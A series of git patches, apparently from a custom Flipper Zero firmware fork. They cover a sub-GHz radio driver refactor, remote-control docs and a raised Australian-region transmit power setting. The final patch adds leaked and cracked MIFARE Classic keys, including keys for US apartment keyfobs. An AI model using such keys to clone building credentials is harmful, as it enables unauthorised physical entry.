"#{match[1]},#{match[2]}" + end + end + + pkg "gcc-arm-none-eabi-#{version.before_comma}-mac-#{version.after_comma}-sha1.pkg" + binary "#{appdir}/ARM/bin/arm-none-eabi-addr2line" + binary "#{appdir}/ARM/bin/arm-none-eabi-ar" + binary "#{appdir}/ARM/bin/arm-none-eabi-as" + binary "#{appdir}/ARM/bin/arm-none-eabi-c++" + binary "#{appdir}/ARM/bin/arm-none-eabi-c++filt" + binary "#{appdir}/ARM/bin/arm-none-eabi-cpp" + binary "#{appdir}/ARM/bin/arm-none-eabi-elfedit" + binary "#{appdir}/ARM/bin/arm-none-eabi-g++" + binary "#{appdir}/ARM/bin/arm-none-eabi-gcc" + binary "#{appdir}/ARM/bin/arm-none-eabi-gcc-10.3.1" + binary "#{appdir}/ARM/bin/arm-none-eabi-gcc-ar" + binary "#{appdir}/ARM/bin/arm-none-eabi-gcc-nm" + binary "#{appdir}/ARM/bin/arm-none-eabi-gcc-ranlib" + binary "#{appdir}/ARM/bin/arm-none-eabi-gcov" + binary "#{appdir}/ARM/bin/arm-none-eabi-gcov-dump" + binary "#{appdir}/ARM/bin/arm-none-eabi-gcov-tool" + binary "#{appdir}/ARM/bin/arm-none-eabi-gdb" + binary "#{appdir}/ARM/bin/arm-none-eabi-gdb-add-index" + binary "#{appdir}/ARM/bin/arm-none-eabi-gdb-add-index-py" + binary "#{appdir}/ARM/bin/arm-none-eabi-gdb-py" + binary "#{appdir}/ARM/bin/arm-none-eabi-gprof" + binary "#{appdir}/ARM/bin/arm-none-eabi-ld" + binary "#{appdir}/ARM/bin/arm-none-eabi-ld.bfd" + binary "#{appdir}/ARM/bin/arm-none-eabi-lto-dump" + binary "#{appdir}/ARM/bin/arm-none-eabi-nm" + binary "#{appdir}/ARM/bin/arm-none-eabi-objcopy" + binary "#{appdir}/ARM/bin/arm-none-eabi-objdump" + binary "#{appdir}/ARM/bin/arm-none-eabi-ranlib" + binary "#{appdir}/ARM/bin/arm-none-eabi-readelf" + binary "#{appdir}/ARM/bin/arm-none-eabi-size" + binary "#{appdir}/ARM/bin/arm-none-eabi-strings" + binary "#{appdir}/ARM/bin/arm-none-eabi-strip" + + uninstall pkgutil: "gcc.arm-none-eabi-#{version[/^(\d{2})/]}", + delete: "/Applications/ARM" +end From 3fc0105e6e6ddfe08ddf039056e7922f6822f1bd Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Tue, 14 Jun 2022 02:55:44 +0300 Subject: [PATCH 310/461] update docs --- documentation/UniRFRemix.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/documentation/UniRFRemix.md b/documentation/UniRFRemix.md index 6cdd732ed..975bf149e 100644 --- a/documentation/UniRFRemix.md +++ b/documentation/UniRFRemix.md @@ -16,6 +16,12 @@ universal_rf_map Hold Back to Exit ``` + + +### **Update: Now you can create file with `.txt` extension `subghz/assets/universal_rf_map.txt`** +#### **So it can be edited without PC, app looks for this file first, if no `universal_rf_map.txt` file found, standard file will be used** + + ## Setting up the `subghz/assets/universal_rf_map` file: ``` @@ -65,6 +71,7 @@ OKLABEL: Garage CLOSE * ##### Universal RF Map - Backwards compatible with [jimilinuxguy Universal RF Remote](https://github.com/jimilinuxguy/flipperzero-universal-rf-remote) map file. You should be able to use the map file as is with both versions. - Recommend that you update the map file (if you using "jimilinuxguy's Universal RF" file) to the version included in this repo. + - You can also create file with `.txt` extension `subghz/assets/universal_rf_map.txt` and this file will be used instead of default file - File path should not have any spaces or special characters (- and _ excluded). - Labels are limited to 12 characters. - Why? This is to prevent overlapping elements on screen. From 6359b83a63bc5d9cd7ee7d6f83c4100115b726ca Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 14 Jun 2022 05:10:45 +0300 Subject: [PATCH 311/461] Update Manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 698ec2233..203eced76 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654631199 +T:1655152832 D:badusb D:dolphin D:infrared @@ -7,7 +7,7 @@ D:music_player D:nfc D:subghz D:u2f -F:bb8ffef2d052f171760ce3dc5220cbad:1591:badusb/demo_macos.txt +F:0e41ba26498b7511d7c9e6e6b5e3b149:1592:badusb/demo_macos.txt F:e538ad2ce5a06ec45e1b5b24824901b1:1552:badusb/demo_windows.txt D:dolphin/L1_Boxing_128x64 D:dolphin/L1_Cry_128x64 From e47f79dd3397bf77e0aea8206d45a219afb843b4 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 14 Jun 2022 05:22:17 +0300 Subject: [PATCH 312/461] Update furi_hal_subghz.c --- .../targets/f7/furi_hal/furi_hal_subghz.c | 357 ++---------------- 1 file changed, 36 insertions(+), 321 deletions(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 5f37d0e4b..4a8026410 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -1,7 +1,8 @@ #include "furi_hal_subghz.h" -#include "furi_hal_version.h" -#include "furi_hal_rtc.h" +#include "furi_hal_subghz_configs.h" +#include +#include #include #include #include @@ -15,308 +16,22 @@ #define TAG "FuriHalSubGhz" -static volatile SubGhzState furi_hal_subghz_state = SubGhzStateInit; -static volatile SubGhzRegulation furi_hal_subghz_regulation = SubGhzRegulationTxRx; -static volatile FuriHalSubGhzPreset furi_hal_subghz_preset = FuriHalSubGhzPresetIDLE; +typedef struct { + volatile SubGhzState state; + volatile SubGhzRegulation regulation; + volatile FuriHalSubGhzPreset preset; +} FuriHalSubGhz; -static const uint8_t furi_hal_subghz_preset_ook_270khz_async_regs[][2] = { - // https://e2e.ti.com/support/wireless-connectivity/sub-1-ghz-group/sub-1-ghz/f/sub-1-ghz-forum/382066/cc1101---don-t-know-the-correct-registers-configuration - - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* FIFO and internals */ - {CC1101_FIFOTHR, 0x47}, // The only important bit is ADC_RETENTION, FIFO Tx=33 Rx=32 - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - // Modem Configuration - {CC1101_MDMCFG0, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG1, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG2, 0x30}, // Format ASK/OOK, No preamble/sync - {CC1101_MDMCFG3, 0x32}, // Data rate is 3.79372 kBaud - {CC1101_MDMCFG4, 0x67}, // Rx BW filter is 270.833333kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x18}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x40}, // 01 - Low hysteresis, small asymmetric dead zone, medium gain; 00 - 8 samples agc; 00 - Normal AGC, 00 - 4dB boundary - {CC1101_AGCCTRL1, - 0x00}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x03}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 011 - MAIN_TARGET 24 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x11}, // Adjusts current TX LO buffer + high is PATABLE[1] - {CC1101_FREND1, 0xB6}, // - - /* End */ - {0, 0}, +volatile FuriHalSubGhz furi_hal_subghz = { + .state = SubGhzStateInit, + .regulation = SubGhzRegulationTxRx, + .preset = FuriHalSubGhzPresetIDLE, }; -static const uint8_t furi_hal_subghz_preset_ook_650khz_async_regs[][2] = { - // https://e2e.ti.com/support/wireless-connectivity/sub-1-ghz-group/sub-1-ghz/f/sub-1-ghz-forum/382066/cc1101---don-t-know-the-correct-registers-configuration - - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* FIFO and internals */ - {CC1101_FIFOTHR, 0x07}, // The only important bit is ADC_RETENTION - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - // Modem Configuration - {CC1101_MDMCFG0, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG1, 0x00}, // Channel spacing is 25kHz - {CC1101_MDMCFG2, 0x30}, // Format ASK/OOK, No preamble/sync - {CC1101_MDMCFG3, 0x32}, // Data rate is 3.79372 kBaud - {CC1101_MDMCFG4, 0x17}, // Rx BW filter is 650.000kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x18}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - // {CC1101_AGCTRL0,0x40}, // 01 - Low hysteresis, small asymmetric dead zone, medium gain; 00 - 8 samples agc; 00 - Normal AGC, 00 - 4dB boundary - // {CC1101_AGCTRL1,0x00}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - // {CC1101_AGCCTRL2, 0x03}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 011 - MAIN_TARGET 24 dB - //MAGN_TARGET for RX filter BW =< 100 kHz is 0x3. For higher RX filter BW's MAGN_TARGET is 0x7. - {CC1101_AGCCTRL0, - 0x91}, // 10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x0}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x11}, // Adjusts current TX LO buffer + high is PATABLE[1] - {CC1101_FREND1, 0xB6}, // - - /* End */ - {0, 0}, -}; -static const uint8_t furi_hal_subghz_preset_2fsk_dev2_38khz_async_regs[][2] = { - - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - {CC1101_PKTCTRL1, 0x04}, - - // // Modem Configuration - {CC1101_MDMCFG0, 0x00}, - {CC1101_MDMCFG1, 0x02}, - {CC1101_MDMCFG2, 0x04}, // Format 2-FSK/FM, No preamble/sync, Disable (current optimized) - {CC1101_MDMCFG3, 0x83}, // Data rate is 4.79794 kBaud - {CC1101_MDMCFG4, 0x67}, //Rx BW filter is 270.833333 kHz - {CC1101_DEVIATN, 0x04}, //Deviation 2.380371 kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x16}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x91}, //10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x00}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x10}, // Adjusts current TX LO buffer - {CC1101_FREND1, 0x56}, - - /* End */ - {0, 0}, -}; -static const uint8_t furi_hal_subghz_preset_2fsk_dev47_6khz_async_regs[][2] = { - - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x0D}, // GD0 as async serial data output/input - - /* Frequency Synthesizer Control */ - {CC1101_FSCTRL1, 0x06}, // IF = (26*10^6) / (2^10) * 0x06 = 152343.75Hz - - /* Packet engine */ - {CC1101_PKTCTRL0, 0x32}, // Async, continious, no whitening - {CC1101_PKTCTRL1, 0x04}, - - // // Modem Configuration - {CC1101_MDMCFG0, 0x00}, - {CC1101_MDMCFG1, 0x02}, - {CC1101_MDMCFG2, 0x04}, // Format 2-FSK/FM, No preamble/sync, Disable (current optimized) - {CC1101_MDMCFG3, 0x83}, // Data rate is 4.79794 kBaud - {CC1101_MDMCFG4, 0x67}, //Rx BW filter is 270.833333 kHz - {CC1101_DEVIATN, 0x47}, //Deviation 47.60742 kHz - - /* Main Radio Control State Machine */ - {CC1101_MCSM0, 0x18}, // Autocalibrate on idle-to-rx/tx, PO_TIMEOUT is 64 cycles(149-155us) - - /* Frequency Offset Compensation Configuration */ - {CC1101_FOCCFG, - 0x16}, // no frequency offset compensation, POST_K same as PRE_K, PRE_K is 4K, GATE is off - - /* Automatic Gain Control */ - {CC1101_AGCCTRL0, - 0x91}, //10 - Medium hysteresis, medium asymmetric dead zone, medium gain ; 01 - 16 samples agc; 00 - Normal AGC, 01 - 8dB boundary - {CC1101_AGCCTRL1, - 0x00}, // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - {CC1101_AGCCTRL2, 0x07}, // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - - /* Wake on radio and timeouts control */ - {CC1101_WORCTRL, 0xFB}, // WOR_RES is 2^15 periods (0.91 - 0.94 s) 16.5 - 17.2 hours - - /* Frontend configuration */ - {CC1101_FREND0, 0x10}, // Adjusts current TX LO buffer - {CC1101_FREND1, 0x56}, - - /* End */ - {0, 0}, -}; -static const uint8_t furi_hal_subghz_preset_msk_99_97kb_async_regs[][2] = { - /* GPIO GD0 */ - {CC1101_IOCFG0, 0x06}, - - {CC1101_FIFOTHR, 0x07}, // The only important bit is ADC_RETENTION - {CC1101_SYNC1, 0x46}, - {CC1101_SYNC0, 0x4C}, - {CC1101_ADDR, 0x00}, - {CC1101_PKTLEN, 0x00}, - {CC1101_CHANNR, 0x00}, - - {CC1101_PKTCTRL0, 0x05}, - - {CC1101_FSCTRL0, 0x23}, - {CC1101_FSCTRL1, 0x06}, - - {CC1101_MDMCFG0, 0xF8}, - {CC1101_MDMCFG1, 0x22}, - {CC1101_MDMCFG2, 0x72}, - {CC1101_MDMCFG3, 0xF8}, - {CC1101_MDMCFG4, 0x5B}, - {CC1101_DEVIATN, 0x47}, - - {CC1101_MCSM0, 0x18}, - {CC1101_FOCCFG, 0x16}, - - {CC1101_AGCCTRL0, 0xB2}, - {CC1101_AGCCTRL1, 0x00}, - {CC1101_AGCCTRL2, 0xC7}, - - {CC1101_FREND0, 0x10}, - {CC1101_FREND1, 0x56}, - - {CC1101_BSCFG, 0x1C}, - {CC1101_FSTEST, 0x59}, - - /* End */ - {0, 0}, -}; -static const uint8_t furi_hal_subghz_preset_gfsk_9_99kb_async_regs[][2] = { - - {CC1101_IOCFG0, 0x06}, //GDO0 Output Pin Configuration - {CC1101_FIFOTHR, 0x47}, //RX FIFO and TX FIFO Thresholds - - //1 : CRC calculation in TX and CRC check in RX enabled, - //1 : Variable packet length mode. Packet length configured by the first byte after sync word - {CC1101_PKTCTRL0, 0x05}, - - {CC1101_FSCTRL1, 0x06}, //Frequency Synthesizer Control - - {CC1101_SYNC1, 0x46}, - {CC1101_SYNC0, 0x4C}, - {CC1101_ADDR, 0x00}, - {CC1101_PKTLEN, 0x00}, - - {CC1101_MDMCFG4, 0xC8}, //Modem Configuration 9.99 - {CC1101_MDMCFG3, 0x93}, //Modem Configuration - {CC1101_MDMCFG2, 0x12}, // 2: 16/16 sync word bits detected - - {CC1101_DEVIATN, 0x34}, //Deviation = 19.042969 - {CC1101_MCSM0, 0x18}, //Main Radio Control State Machine Configuration - {CC1101_FOCCFG, 0x16}, //Frequency Offset Compensation Configuration - - {CC1101_AGCCTRL2, 0x43}, //AGC Control - {CC1101_AGCCTRL1, 0x40}, - {CC1101_AGCCTRL0, 0x91}, - - {CC1101_WORCTRL, 0xFB}, //Wake On Radio Control - /* End */ - {0, 0}, -}; - -static const uint8_t furi_hal_subghz_preset_ook_async_patable[8] = { - 0x00, - 0xC0, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03 - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00}; -static const uint8_t furi_hal_subghz_preset_2fsk_async_patable[8] = { - 0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12 - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00}; -static const uint8_t furi_hal_subghz_preset_msk_async_patable[8] = { - 0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12 - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00}; -static const uint8_t furi_hal_subghz_preset_gfsk_async_patable[8] = { - 0xC0, // 10dBm 0xC0, 7dBm 0xC8, 5dBm 0x84, 0dBm 0x60, -10dBm 0x34, -15dBm 0x1D, -20dBm 0x0E, -30dBm 0x12 - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00}; - void furi_hal_subghz_init() { - furi_assert(furi_hal_subghz_state == SubGhzStateInit); - furi_hal_subghz_state = SubGhzStateIdle; - furi_hal_subghz_preset = FuriHalSubGhzPresetIDLE; + furi_assert(furi_hal_subghz.state == SubGhzStateInit); + furi_hal_subghz.state = SubGhzStateIdle; + furi_hal_subghz.preset = FuriHalSubGhzPresetIDLE; furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); @@ -359,7 +74,7 @@ void furi_hal_subghz_init() { } void furi_hal_subghz_sleep() { - furi_assert(furi_hal_subghz_state == SubGhzStateIdle); + furi_assert(furi_hal_subghz.state == SubGhzStateIdle); furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); @@ -371,7 +86,7 @@ void furi_hal_subghz_sleep() { furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); - furi_hal_subghz_preset = FuriHalSubGhzPresetIDLE; + furi_hal_subghz.preset = FuriHalSubGhzPresetIDLE; } void furi_hal_subghz_dump_state() { @@ -405,7 +120,7 @@ void furi_hal_subghz_load_preset(FuriHalSubGhzPreset preset) { } else { furi_crash("SubGhz: Missing config."); } - furi_hal_subghz_preset = preset; + furi_hal_subghz.preset = preset; } void furi_hal_subghz_load_registers(const uint8_t data[][2]) { @@ -506,7 +221,7 @@ void furi_hal_subghz_rx() { } bool furi_hal_subghz_tx() { - if(furi_hal_subghz_regulation != SubGhzRegulationTxRx) return false; + if(furi_hal_subghz.regulation != SubGhzRegulationTxRx) return false; furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); cc1101_switch_to_tx(&furi_hal_spi_bus_handle_subghz); furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); @@ -573,9 +288,9 @@ bool furi_hal_subghz_is_tx_allowed(uint32_t value) { uint32_t furi_hal_subghz_set_frequency(uint32_t value) { if(furi_hal_subghz_is_tx_allowed(value)) { - furi_hal_subghz_regulation = SubGhzRegulationTxRx; + furi_hal_subghz.regulation = SubGhzRegulationTxRx; } else { - furi_hal_subghz_regulation = SubGhzRegulationOnlyRx; + furi_hal_subghz.regulation = SubGhzRegulationOnlyRx; } furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); @@ -642,8 +357,8 @@ static void furi_hal_subghz_capture_ISR() { } void furi_hal_subghz_start_async_rx(FuriHalSubGhzCaptureCallback callback, void* context) { - furi_assert(furi_hal_subghz_state == SubGhzStateIdle); - furi_hal_subghz_state = SubGhzStateAsyncRx; + furi_assert(furi_hal_subghz.state == SubGhzStateIdle); + furi_hal_subghz.state = SubGhzStateAsyncRx; furi_hal_subghz_capture_callback = callback; furi_hal_subghz_capture_callback_context = context; @@ -699,8 +414,8 @@ void furi_hal_subghz_start_async_rx(FuriHalSubGhzCaptureCallback callback, void* } void furi_hal_subghz_stop_async_rx() { - furi_assert(furi_hal_subghz_state == SubGhzStateAsyncRx); - furi_hal_subghz_state = SubGhzStateIdle; + furi_assert(furi_hal_subghz.state == SubGhzStateAsyncRx); + furi_hal_subghz.state = SubGhzStateIdle; // Shutdown radio furi_hal_subghz_idle(); @@ -780,7 +495,7 @@ static void furi_hal_subghz_async_tx_refill(uint32_t* buffer, size_t samples) { } static void furi_hal_subghz_async_tx_dma_isr() { - furi_assert(furi_hal_subghz_state == SubGhzStateAsyncTx); + furi_assert(furi_hal_subghz.state == SubGhzStateAsyncTx); if(LL_DMA_IsActiveFlag_HT1(DMA1)) { LL_DMA_ClearFlag_HT1(DMA1); furi_hal_subghz_async_tx_refill( @@ -798,12 +513,12 @@ static void furi_hal_subghz_async_tx_timer_isr() { if(LL_TIM_IsActiveFlag_UPDATE(TIM2)) { LL_TIM_ClearFlag_UPDATE(TIM2); if(LL_TIM_GetAutoReload(TIM2) == 0) { - if(furi_hal_subghz_state == SubGhzStateAsyncTx) { - furi_hal_subghz_state = SubGhzStateAsyncTxLast; + if(furi_hal_subghz.state == SubGhzStateAsyncTx) { + furi_hal_subghz.state = SubGhzStateAsyncTxLast; //forcibly pulls the pin to the ground so that there is no carrier furi_hal_gpio_init(&gpio_cc1101_g0, GpioModeInput, GpioPullDown, GpioSpeedLow); } else { - furi_hal_subghz_state = SubGhzStateAsyncTxEnd; + furi_hal_subghz.state = SubGhzStateAsyncTxEnd; LL_TIM_DisableCounter(TIM2); } } @@ -811,16 +526,16 @@ static void furi_hal_subghz_async_tx_timer_isr() { } bool furi_hal_subghz_start_async_tx(FuriHalSubGhzAsyncTxCallback callback, void* context) { - furi_assert(furi_hal_subghz_state == SubGhzStateIdle); + furi_assert(furi_hal_subghz.state == SubGhzStateIdle); furi_assert(callback); //If transmission is prohibited by regional settings - if(furi_hal_subghz_regulation != SubGhzRegulationTxRx) return false; + if(furi_hal_subghz.regulation != SubGhzRegulationTxRx) return false; furi_hal_subghz_async_tx.callback = callback; furi_hal_subghz_async_tx.callback_context = context; - furi_hal_subghz_state = SubGhzStateAsyncTx; + furi_hal_subghz.state = SubGhzStateAsyncTx; furi_hal_subghz_async_tx.duty_low = 0; furi_hal_subghz_async_tx.duty_high = 0; @@ -898,9 +613,9 @@ bool furi_hal_subghz_is_async_tx_complete() { void furi_hal_subghz_stop_async_tx() { furi_assert( - furi_hal_subghz_state == SubGhzStateAsyncTx || - furi_hal_subghz_state == SubGhzStateAsyncTxLast || - furi_hal_subghz_state == SubGhzStateAsyncTxEnd); + furi_hal_subghz.state == SubGhzStateAsyncTx || + furi_hal_subghz.state == SubGhzStateAsyncTxLast || + furi_hal_subghz.state == SubGhzStateAsyncTxEnd); // Shutdown radio furi_hal_subghz_idle(); @@ -934,5 +649,5 @@ void furi_hal_subghz_stop_async_tx() { (double)furi_hal_subghz_async_tx.duty_low, (double)duty_cycle); - furi_hal_subghz_state = SubGhzStateIdle; + furi_hal_subghz.state = SubGhzStateIdle; } From a2093d75e3f42ff7f3951472341ede4dc7b989b6 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 14 Jun 2022 05:29:02 +0300 Subject: [PATCH 313/461] Update furi_hal_subghz.c --- firmware/targets/f7/furi_hal/furi_hal_subghz.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 4a8026410..8812978fe 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -495,7 +495,10 @@ static void furi_hal_subghz_async_tx_refill(uint32_t* buffer, size_t samples) { } static void furi_hal_subghz_async_tx_dma_isr() { - furi_assert(furi_hal_subghz.state == SubGhzStateAsyncTx); + furi_assert( + furi_hal_subghz.state == SubGhzStateAsyncTx || + furi_hal_subghz.state == SubGhzStateAsyncTxEnd || + furi_hal_subghz.state == SubGhzStateAsyncTxLast); if(LL_DMA_IsActiveFlag_HT1(DMA1)) { LL_DMA_ClearFlag_HT1(DMA1); furi_hal_subghz_async_tx_refill( From 43c6710d4fd531631d7b62bcfe9ad001493947d6 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 14 Jun 2022 05:30:51 +0300 Subject: [PATCH 314/461] Update furi_hal_subghz.c --- firmware/targets/f7/furi_hal/furi_hal_subghz.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 8812978fe..7be4933a4 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -611,7 +611,7 @@ bool furi_hal_subghz_start_async_tx(FuriHalSubGhzAsyncTxCallback callback, void* } bool furi_hal_subghz_is_async_tx_complete() { - return furi_hal_subghz_state == SubGhzStateAsyncTxEnd; + return furi_hal_subghz.state == SubGhzStateAsyncTxEnd; } void furi_hal_subghz_stop_async_tx() { From 77996242d6d507297fd07f82f78c2909420bd7bb Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 14 Jun 2022 05:39:45 +0300 Subject: [PATCH 315/461] Update furi_hal_subghz_configs.h --- firmware/targets/f7/furi_hal/furi_hal_subghz_configs.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz_configs.h b/firmware/targets/f7/furi_hal/furi_hal_subghz_configs.h index 5ea17b6dd..7940dfd09 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz_configs.h +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz_configs.h @@ -275,7 +275,7 @@ static const uint8_t furi_hal_subghz_preset_ook_async_patable[8] = { static const uint8_t furi_hal_subghz_preset_ook_async_patable_au[8] = { 0x00, - 0x37, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03 + 0xC0, // 12dBm 0xC0, 10dBm 0xC5, 7dBm 0xCD, 5dBm 0x86, 0dBm 0x50, -6dBm 0x37, -10dBm 0x26, -15dBm 0x1D, -20dBm 0x17, -30dBm 0x03 0x00, 0x00, 0x00, From 65290cf5c72862b2b949315f3e458dc3749eb610 Mon Sep 17 00:00:00 2001 From: UberGuidoZ <57457139+UberGuidoZ@users.noreply.github.com> Date: Tue, 14 Jun 2022 08:54:09 -0700 Subject: [PATCH 316/461] Added 7 new keys, reworked comments --- assets/resources/nfc/assets/mf_classic_dict.nfc | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index eb198fb06..2a8d197a7 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -1,5 +1,5 @@ -# ----------------------------- -# Last update June 7, 2022 +# Last update June 14, 2022 +# ------------------------- # MIFARE DEFAULT KEYS # -- ICEMAN FORK VERSION -- # -- CONTRIBUTE TO THIS LIST, SHARING IS CARING -- @@ -3575,9 +3575,10 @@ D27058C6E2C7 E19504C39461 FA1FBB3F0F1F FF16014FEFC7 -# /-------------------\ +# # Cracked by UberGuidoZ -# \-------------------/ +# https://github.com/UberGuidoZ +# # BadgeMaker Leaked 1A1B1C1D1E1F 1665FE2AE945 @@ -3619,3 +3620,11 @@ D10008074A6F 446176696453 6F6674776172 6520446F7665 +# Apartment keyfobs in USA from Corvette830 +E60F8387F0B9 +FFD46FF6C5EE +4F9661ED2E70 +576A798C9904 +1C5179C4A8A1 +16CA203B811B +11AC8C8F3AF2 From 